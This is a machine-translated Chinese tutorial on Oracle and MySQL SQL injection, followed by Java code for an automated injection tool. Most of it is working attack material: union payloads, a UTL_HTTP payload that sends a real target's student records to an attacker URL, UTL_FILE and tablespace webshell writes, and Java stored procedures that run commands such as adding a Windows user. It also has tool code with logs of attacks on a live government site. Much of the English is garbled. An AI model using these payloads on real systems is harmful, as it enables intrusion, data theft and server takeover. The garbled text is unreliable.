Principal · 2013/07/18 17:23

Note: This section is mainly about Oracle and SQL injection tools. It should have been used with Mysql but it is too long to read, so it is separated.


0x00 Oracle


Oracle Database, also known as Oracle RDBMS, or Simply Oracle. Oracle is a relational database management system.

Oracle for MYSQL, MSSQL means more data volume, more permissions. This time we will use the same code as above, the database structure is shifted to Oracle, the default database name is ORCL, the field “corps_desc” is changed from text to VARCHAR2(4000), and the driver and URL in JSP are changed to the corresponding Oracle. 

Jsp page code: GLEason

Start injection:

Union + Order BY is always the fastest and most practical, while blind annotation is too time-consuming and laborious.

Submit the order BY to guess how many fields are in the SQL query used to display the current page.

Submitted separatelyhttp://localhost/SqlInjection/index.jsp?id=1 AND 1=1? id=1 AND 1=12If 1=12, there is no data on the page, that is, if 1=12, there is no query result. 

http://localhost/SqlInjection/index.jsp?id=1 AND 1=12
Copy the code

Commit: http://localhost/SqlInjection/index.jsp? Id =1 ORDER BY 4 Id =1 ORDER BY 5

Order by 5Error message: Gleason’s message

Use union for federated queries:

Oracle Dual table

Dual is a virtual table used to form the syntax of SELECT. Oracle guarantees that dual will always have only one record in it, which is widely used in Oracle injection.

Oracle Union query tips:

In Mysql, I use 1,2,3,4 to place space. In Oracle, there are strict type requirements. So you have to union select with the previous one

SELECT * from "corps" where "id" = 1 
Copy the code

The query fields are of the same type. We know that the second field in the query is corps_name, which corresponds to the data type: VARCHAR2(100), or character. We get an error when we pass in integer numbers. For example, when we submit a union query, we submit the following SQL injection statement:

http://localhost/SqlInjection/index.jsp?id=1 and 1 = 2 UNION SELECT 1, 2, NULL, NULL FROM the dual -Copy the code

The correct way to inject data into Oracle is to use NULL when we do not know which field is of which type:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL,NULL,NULL,NULL FROM dual--
Copy the code

When the first field is known to be an integer:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,NULL,NULL,NULL FROM dual--
Copy the code

Position effect after SQL execution: GLEASon

Based on our previous experience with Mysql injection, we now need to get as much server information and database as possible, such as database version, permissions, etc.

We talked about Mysql injection when we talked about the proper use of tools, in Navicat client executionselect * from session_rolesResults: the 

Oracle query pagination tips

SQL > select * from ‘>=0<=1’; SQL > select * from ‘>=0’; SQL > select * from ‘>=0’; I math 5 party, if the math side of things wrong you don’t blame) :

SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0 
Copy the code

In Oracle, there is no group_concat similar to Mysql, which uses pagination to fetch data, but there are simpler methods.

Use UNION SELECT to query:
http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32)) FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)--
Copy the code

I should note that the GAIN from the UNION SELECT query is multiple-set, whereas normal business logic dictates that a news item be placed directly into the corresponding entity, such as the List of vendors in Wooyun: Corps, then we are most likely abstracting out a Corps object, retrieving a single parameter result set in the DAO layer, and either reporting an error or fetching the first one if there are more than one. Then go to the Controller layer and put the results of the query into the request. You end up with a single Corps entity when you output it, and that’s one of the great things about the view layer being just for presentation and separating the business logic from the view, so try to explain that to those of you who don’t know when we get to MVC.

Take a look at the gleason’s ugly code for displaying data on the page

The next task is to collect information, above we have collected all the user names of the database and our current user permissions.

Get all database tables:

http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TABLES WHERE OWNER IN (CHR(67)||CHR(84)||CHR(88)||CHR(83)||CHR(89)||CHR(83),CHR(69)||CHR(88)||CHR(70)||CHR(83)||CHR(89)||CHR(83),CHR(77)||CHR( 68)||CHR(83)||CHR(89)||CHR(83),CHR(79)||CHR(76)||CHR(65)||CHR(80)||CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(67)||CHR(79)|| CHR(84)||CHR(84),CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77),CHR(87)||CHR(77)||CHR(83 ) | | CRH (89) | | CRH (83)) -Copy the code

The concatenator I used is – to the code, which is 45 gleason

All the names have been listed: the Gleason

When UNION ALL SELECT does not work, we can use the above Oracle pagination to read one by one, the defect is not as efficient as UNION ALL SELECT.

Information version access:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL, NULL, NULL, (select banner from sys.v_$version where rownum=1) from dual --Copy the code

Get user name for starting Oracle:

select SYS_CONTEXT ('USERENV','OS_USER') from dual;
Copy the code

Server listening IP:

select utl_inaddr.get_host_address from dual;
Copy the code

Server operating system:

select member from v$logfile where rownum=1;
Copy the code

Current Connected user:

select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;
Copy the code

Get the name of the currently connected database:

select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual;
Copy the code

About getting sensitive tables and fields:

SQL > select * from db;

select * from user_tab_columns
Copy the code

Alter table alter table alter table alter table alter table alter table alter table

SELECT * FROM  User_tables
Copy the code

User_tab_columns and FROM User_tables table user_tab_columns and FROM User_tables table user_tab_columns and FROM User_tables table user_tab_columns and FROM User_tables table user_tab_columns 

Oracle Advanced Injection:

1. Friendship backup

When talking about Mysql, I mentioned how to construct SQL statements in the injection point to achieve friendship backup. Last year, I thought of a simple and effective SQL injection point friendship backup database method when I injected the teaching affairs office of a Great university. That’s right, using Oracle’s UTL_HTTP package. Oracle is very powerful, utl_http can send Http requests directly. We can use UTl_HTTP for SQL injection, so we can also use UTl_HTTP for friendship backup.

Build the following SQL injection statement:

http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?dat a='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----'||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'---- '||'----'||TEL)+FROM+STU_HOME)Copy the code

UTL_HTTP will request our URL with the result of a query to the database, which is what I wrote at my injection point. UTL_HTTP is requested one by one, so it maintains a long connection to the database. However, if the amount of data is too large, it will lead to data loss. If you want to complete friendship backup, this method is not particularly feasible. Just request the injection point in the browser and Oracle will automatically deliver its pants to the door, which feels pretty good.

1. Create a new copy of the original message using UTL_HTTP

How utl_http can be used during injection Similarly, since I don’t know much about UTl_HTTP either, it may have other more useful functions waiting for you to discover.

Use UTL_FILE for friendship backup:

Create a directory:

The create or replace directory cux_log_dir as' E: / soft/apache tomcat -- 7.0.37 / webapps/ROOT/selina ';Copy the code

Export data to a file:

declare
    frw   utl_file.file_type;
    begin
        frw:=utl_file.fopen('CUX_LOG_DIR','emp.txt','w');
        for rec in (select * from admin) loop
            utl_file.put_line(frw,rec.id||','||rec.password);
        end loop;
        utl_file.fclose(frw);
    end;
/
Copy the code

Image: Gleason’s above

GetShell

Previous Oracle articles seem to have mentioned how to getshell, but there is a way. But in Java it’s even harder to get the root path of the WEB than that. PHP, however, is a different story, and it’s quite common to have a path crash. Since the database is independent of the development language, the following getShell approach is probably fine for some situations.

Use utl_file to fetch the shell if you have Oracle connection permission but no Webshell

(of course the user must have the permission to create DIRECTORY) :

Perform:

The create or replace directory getshell_dir as' E: / soft/apache tomcat -- 7.0.37 / webapps/SqlInjection/';Copy the code

Of course, as must be followed by your WEB path.

Execute the following SQL statement:

Create a directory:

The create or replace directory getshell_dir as' E: / soft/apache tomcat -- 7.0.37 / webapps/SqlInjection/';Copy the code

Write the shell to the specified directory:

declare
    frw   utl_file.file_type;
    begin
        frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w');
        utl_file.put_line(frw,'hello world.');
        utl_file.fclose(frw);
    end;
/
Copy the code

Under low permission getShell: gleason

Create a tablespace by executing the following SQL

The create in tablespace shell datafile 'E: / soft/apache tomcat - 7.0.37 / webapps/SqlInjection/shell. The JSP' size of 100 k nologging; CREATE TABLE SHELL(C varchar2(100)) tablespace shell; insert into SHELL values('hello world'); commit; alter tablespace shell offline; drop tablespace shell including contents;Copy the code

Hello world: hello world: hello world: hello world: hello world: Hello world: Hello World

SQL > execute Java code:

As we all know, Sun was acquired by Oracle because of its poor performance.

But there are some advantages for Oracle.

SQLJ is a version of embedded SQL that is tightly integrated with the Java programming language, where “embedded SQL” is used to call SQL statements in its host general-purpose programming languages such as C, C++, Java, Ada, and COBOL. The SQL translator replaces embedded SQLJ statements with calls from the SQLJ runtime library, which actually implements SQL operations. The result is a Java source program that can be compiled using any Java translator. Once the Java source program is compiled, the Java executor can run on any database. The SQLJ runtime environment consists of a small SQLJ runtime library (small, meaning it contains a small amount of code) implemented in pure Java, which in turn calls the JDBC driver of the corresponding database.

SQLJ can be played like this: first create a class that provides a static method: gain

Where getShell is the name of our method, p and are the arguments, p is the path, and C is the content of the file to write. The method type must be static when creating a Java stored procedure

Execute the following SQL to create the Java stored procedure:

create or replace and compile java source named "getShell" as public class GetShell {public static int getShell(String p, String c) {int RC = -1; try {new java.io.FileOutputStream(p).write(c.getBytes()); RC = 1; } catch (Exception e) {e.printStackTrace(); }return RC; }}Copy the code

Create a function:

create or replace
function getShell(p in varchar2, c in varchar2) return number
as
language java
name 'util.getShell(java.lang.String, java.lang.String) return Integer';
Copy the code

Create a stored procedure:

create or replace procedure RC(p in varChar, c in varChar)
as
x number;
begin
x := getShell(p,c);
end;
Copy the code

Grant Java permissions:

variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
Copy the code

Write webshell:

exec :x:=getShell('d:/3.txt','selina');
Copy the code

SQLJ execute CMD command:

Methods here are almost the same as above, providing a static method and then creating a stored procedure. Then call a Java method to execute the command.

Create a Java stored procedure:

create or replace and compile java source named "Execute" as import java.io.BufferedReader; import java.io.InputStreamReader; public class Execute { public static void executeCmd(String c) { try { String l="",t; BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk")); while((t=br.readLine())! =null){ l+=t+"\n"; } System.out.println(l); } catch (Exception e) { e.printStackTrace(); }}}Copy the code

Create stored procedure executeCmd:

create or replace procedure executeCmd(c in varchar2)
as
language java name 'Execute.executeCmd(java.lang.String)';
Copy the code

Execute the stored procedure:

exec executeCmd('net user selina 123 /add');
Copy the code

If you are not sure how to make the command output after execution, you can refer to:

Hi.baidu.com/xpy_home/it…

A good DEMO of SQLJ (sharp Oracle injection technology).

Huaidan.org/archives/24…

0x01 Automated SQL injection tool implementation


With our familiarity with database and SQL injection above, can we now develop our own injection tools?

A long time ago very rough wrote a SQL injection tool class, as a demo to everyone to do a demonstration.

Only provide the core code, the case of the GOV website do not very attack!

Simple SQL Oder by injection implementation of the way the core code:

1, analysis,

URLpublic static void AnalysisUrls(String site) throws Exception
Copy the code

This method is mainly to analyze whether the composition of THE URL is static.

2. Check whether there is:

This is a bit more crude, just by requesting a different SQL injection statement to check the page return:

/ SQL parameter analysis of whether there is injection * * * * @ param STR * / public static void AnalysisUrlDynamicParamSqlInjection (String STR []) { Map<String,Object> content,content2; sqlKey = new ArrayList<Object>(); content = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter); Int len1 = content.get("content").toString().length(); // Response length of the original request Boolean typeIsNumber = false; String c1[] = {"'","-1",")\"\"\"\"\"()()",")+ANd+3815=3835+ANd+(1471=1471",") ANd+9056=9056+ANd+(9889=9889"," ANd+6346=6138 "," ANd+9056=9056"}; For (int I = 0; i < str.length; i++) { typeIsNumber = StringUtil.isNotEmpty(str[i].split("="))&&StringUtil.isNum(str[i].split("=")[1])? true:false; for (int j = 0; j < c1.length; j++) { content2 = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter.replace(str[i], str[i].split("=")[0]+"="+str[i].split("=")[1]+c1[j])); if (len1 ! = content2.get("content").toString().length()||(Integer)content2.get("status")! =200) { existsInjection = true; sqlKey.add(str[i]); break ; } } } if (existsInjection) { // System.out.println(existsInjection?" Site:"+url+" may exist "+(typeIsNumber?" Int ":"String")+" Sql ":"Not Found."); getSelectColumnCount(str); getDatabaseInfo(); }}Copy the code

The inspection process mainly sends several requests, one normal request and N requests with SQL injection. If the result of the SQL injection request is not the same as the result of the normal request (there are uncontrollable factors, such as the implementation of SQLMAP to calculate whether the page is stable, so that the detected results are more accurate), there may be SQL injection.

The log is as follows:

url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148'
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148
Copy the code

The number of fields is obtained by:

Public static int getSelectColumnCount(String STR []){Map<String,Object> sb = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter); Int len1 = sb.get("content").toString().length(); // Response length of the original request int count = -1; for (Object o : sqlKey) { count = getSbCount(o.toString(), len1); } return count; } public static int getSbCount(String key,int len1){public static int getSbCount(String key,int len1){ System.out.println("-----------------------end:"+end+"-----------------------------"); Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23")); if (1 == end|| len1==((String)sb.get("content")).length()&&200==(Integer)sb.get("status")) { System.out.println("index:"+end); start = end; for (int i = start; i < 2*start+1; I++) {System. Out. Println (" * * * * * * * * * * * * start an exact match * * * * * * * * * * * * * * * * * "); Map<String,Object> sb2 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23")); Map<String,Object> sb3 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+(end+1)+"+%23")); if (((String)sb3.get("content")).length()! =((String)sb2.get("content")).length()&&200==(Integer)sb2.get("status")) {system.out.println ("order by "+end); sbCount = end; Return index = end; }else { end++; } } }else { end = end/2; getSbCount(key, len1); } return index; }Copy the code

Using the principle of detecting whether SQL injection exists can also detect the number of fields in the query. We order a by a number by dichotomy and then request page consistency analysis. And then constantly modify the value of the final result is equal to obtain the number of fields. The above analysis of the code is very simple, interested students to see their own. The log is as follows:

* * * * * * * * * * * * start an exact match * * * * * * * * * * * * * * * * * url: http://www.tchjbh.gov.cn/news_display.php param: id = 148 + orDer + By + 15 + % 23 Url: http://www.tchjbh.gov.cn/news_display.php param: id = 148 + orDer + By + 16 + % 23 * * * * * * * * * * * * start an exact match * * * * * * * * * * * * * * * * * url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+16+%23 url:http://www.tchjbh.gov.cn/news_display.php Param: id = 148 + orDer + By + 17 + % 23 * * * * * * * * * * * * start an exact match * * * * * * * * * * * * * * * * * url: http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+17+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+18+%23 * * * * * * * * * * * * start an exact match * * * * * * * * * * * * * * * * * url: http://www.tchjbh.gov.cn/news_display.php param: id = 148 + orDer + By + 18 + % 23 Url: http://www.tchjbh.gov.cn/news_display.php param: id = 148 + orDer + By + + % 23 19 * * * * * * * * * * * * start an exact match * * * * * * * * * * * * * * * * * url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+19+%23 url:http://www.tchjbh.gov.cn/news_display.php Param: id = 148 + orDer + By + 20 + % 23 * * * * * * * * * * * * start an exact match * * * * * * * * * * * * * * * * * url: http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+20+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+21+%23 * * * * * * * * * * * * start an exact match * * * * * * * * * * * * * * * * * url: http://www.tchjbh.gov.cn/news_display.php param: id = 148 + orDer + By + 21 + % 23 Url: http://www.tchjbh.gov.cn/news_display.php param: id = 148 + + By + + % 22 23 orDer By orDer number field is: 21 skey: id = 148Copy the code

After knowing the number of fields, we can obtain the results of SQL injection queries by constructing keywords. Our purpose is nothing more than to keep submitting SQL injection statements, display the database information we want to get on the page, and then retrieve the information to the local through user-defined keywords:

Public static void getDatabaseInfo(){String skey = sqlkey.get (0).toString(); System.out.println("skey:"+skey); StringBuilder union = new StringBuilder(); for (int i = 0; i < sbCount; i++) { union.append("concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/dat abase]','[/mjj]'),"); } Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(skey, skey+("-1+UnIon+SeleCt+"+(union.delete(union.length()-1, union.length()))+"%23"))); String rs = ((String)sb.get("content")); String user = rs.substring(rs.lastIndexOf("[user]")+6,rs.lastIndexOf("[/user]")); String version = rs.substring(rs.lastIndexOf("[version]")+9,rs.lastIndexOf("[/version]")); String database = rs.substring(rs.lastIndexOf("[database]")+10,rs.lastIndexOf("[/database]")); System.err.println("user:"+user); System.err.println("version:"+version); System.err.println("database:"+database); }Copy the code

Log of code execution:

url:http://www.tchjbh.gov.cn/news_display.php param:id=148-1+UnIon+SeleCt+concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',dat abase(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]' ,database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[databa se]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[da tabase]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]', '[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/use r]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[ /user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user( ),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',u ser(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user ]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[ user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version] ','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/vers ion]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/ version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version() ,'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',versi on(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',v ersion(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version ]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[ver sion]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]',' [version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj ]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]')%23 user:[email protected]Version: 5.1.56 - community database: TCHJBHCopy the code


0x02 Simulating SQL Injection Analyzes the principles of the injection tool


The following demo is for those of you who want to extend the SQL injection tool written above. This time I used THE PHP language to understand the implementation of SQL injection tools. The database uses the wordpress structure. The database structure is as follows. You are advised to install any version of wordpress on the local PC:

The code is as follows:

<! DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gbk" /> <style> .main{margin:0 auto; width:980px; border:1px dashed } .title{line-height:25px; text-align:center; font-size:18px; font-weight:500} pre{text-indent: 2em; margin:20px auto 10px 20px; } </style> <title></title> </head> <body> <div class="main"> <? php extract($_GET); //to Map if(! empty($id)){ $con = mysql_connect("localhost","root","111111"); $db_selected = mysql_select_DB (" WPS ",$con); // Select database mysql_query("SET NAMES 'GBK'"); $SQL = "SELECT * from posts where ID = ".$ID; Echo "<font color=red>".$SQL. $paths="getsql.txt"; $handles=fopen($paths,"a"); // Open path fwrite($handles,$SQL."\t\t\n\n "); // write fclose($handles); $result = mysql_query($SQL,$con); The results query / * / / traverse * / while ($row = mysql_fetch_array ($result)) {echo "< div class = title >". $row [' post_title]. "< / div >"; / / the result output to the interface echo "< pre >". $row [' post_content]. "< / pre >"; } mysql_close($con); // Close database connection}? > </div> </body> </html>Copy the code

After setting up the database and tables, I have access (since I use my WP blog, so I suggest installing wordpress for future testing if there is no data)

SQL injection test:

M4xmysql submits data from the SQL injection point. If you click start, your PHP program will automatically generate a getsql. TXT file in the same directory.

It doesn’t seem like much, because I’m not wrapping, so I’m just getting information about the database.

Let me walk you through what this SQL does:

SELECT * from wps_posts where ID = 739 and 1=0 SELECT * from wps_posts where ID = 739 and 1=1 SQL > select * from table_name where table_name = 1; * / SELECT * from wps_posts where ID = 739 and 1 = 0 union SELECT concat (x5b68345d 0, 0, 0 x5b2f68345d) - SELECT * from Wps_posts where ID = 739 and 1 = 0 union select concat (x5b68345d 0, 0, 0 x5b2f68345d), concat (x5b68345d 0, 1, 0 x5b2f68345d) - SELECT * from wps_posts where ID = 739 and 1=0 union select X5b68345d concat (0, 0, 0 x5b2f68345d), concat (x5b68345d 0, 1, 0 x5b2f68345d), concat (0 x5b68345d, 2, 0 x5b2f68345d) - / *... Save one of the countless field length matching try... */ * SELECT * from posts where ID = 739; */ * * SELECT * from posts where ID = 739; The answer is simple. Submit the following SQL placeholder. 10 pages will display correctly and all the previous ones will display incorrectly. */ SELECT * from wps_posts where ID = 739 and 1=0 union SELECT X5b68345d concat (0, 0, 0 x5b2f68345d), concat (x5b68345d 0, 1, 0 x5b2f68345d), concat (0 x5b68345d, 2, 0 x5b2f68345d), concat (0 x5b68345d, 3, 0 x5b2f68345d), concat (0 x5b68345d, 4, 0 x5b2f68345d), concat (5, 0 0 x5b68345d, x5b2f68345d), concat (0 x5b68345d, 6, 0 x5b2f68345d), co Ncat (7, 0 0 x5b68345d, x5b2f68345d), concat (8, 0, 0 x5b68345d x5b2f68345d), concat (9, 0, 0 x5b68345d x5b2f68345d), concat (0 x5b68345d, 10 , 0 x5b2f68345d), concat (0 x5b68345d, 11, 0 x5b2f68345d), concat (12, 0 0 x5b68345d, x5b2f68345d), concat (0 x5b68345d, 13, 0 x5b2f68345d), Concat (0 x5b68345d, 14, 0 x5b2f68345d), concat (0 x5b68345d, 15, 0 x5b2f68345d), concat (0 x5b68345d, 16, 0 x5b2f68345d), concat (0 x5b6834 5 d, 17, 0 x5b2f68345d), concat (0 x5b68345d, 18, 0 x5b2f68345d), concat (0 x5b68345d, 19, 0 x5b2f68345d), concat (0 x5b68345d, 20, 0 x5b2f683 D), 45 concat (0 x5b68345d, 21, 0 x5b2f68345d), concat (0 x5b68345d, 22, 0 x5b2f68345d) -Copy the code

Finished above SQL injection point (http://localhost/Test/1.php? SELECT * from wps_posts where id=739 and id=739); To enable the tool to find and intercept characters with special meaning in the page class after stripping the source code:

 if you smart enough or carefully will find that he wrote a little waste of resources, because of his order has been increasing from 1 to fight for the length of the if the field is particularly long (or rarely) generally possible to perform dozens of even more HTTP requests, if use dichotomy here might be a good solution.

Let’s move on (again click the request sent after start) :

*/ SELECT * from wps_posts where ID = 739 and 1=0 union SELECT concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625 d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5 b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75 735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b 2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765 d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b 2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0 x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,databa se(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625 d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,use r(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d ,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,versio n(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d), concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625 d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5 b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75 735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b 2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765 d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b 2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d)--Copy the code

What kind of mystery is this? Take a look at Navicat and FireFox:

FireFox execution result:

Let’s go back to the above nonsense:

select file_priv from mysql.user where user=root
Copy the code

The long, smelly SQL above translates into the result of such a short query:

Have file_priv permission. File_priv should be read and write to files. If Y is not N then load_file, into outfile, or dumpfile cannot be used.

Let’s move on to the next SQL:

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b 696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim', 0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e67 65725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b 6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725 d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f68346 36b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asi m',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696 e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0 x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765 725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f68 34636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,' asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)--Copy the code

/*[h4ckinger]asim[/h4ckinger] The corresponding SQL is:

select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)*/
Copy the code

The next entry is also the last SQL entry after you click start. So we can know that the click injection point detection program does:

2. Number of fields at the injection point 3. The injection point obtains the version information, user information, and database name of Mysql. 4, whether there is file_priv, that is, whether you can read and write hard disk files.Copy the code

Program logic analysis:

Obtain the URL address and perform parameter analysis. 3. Submit and 1=1 and 1=2 for Boolean judgment, obtain the response code of the server to determine whether SQL injection exists. 4, submit placeholder to get the number of fields queried by injection point try order by injection. 5. Submit the MYSQL function to obtain the MYSQL version information, user information, database name and other information. 6. Check whether the load_file, outfile, and dumpfile permissions are granted.Copy the code

SQL > get all user table;

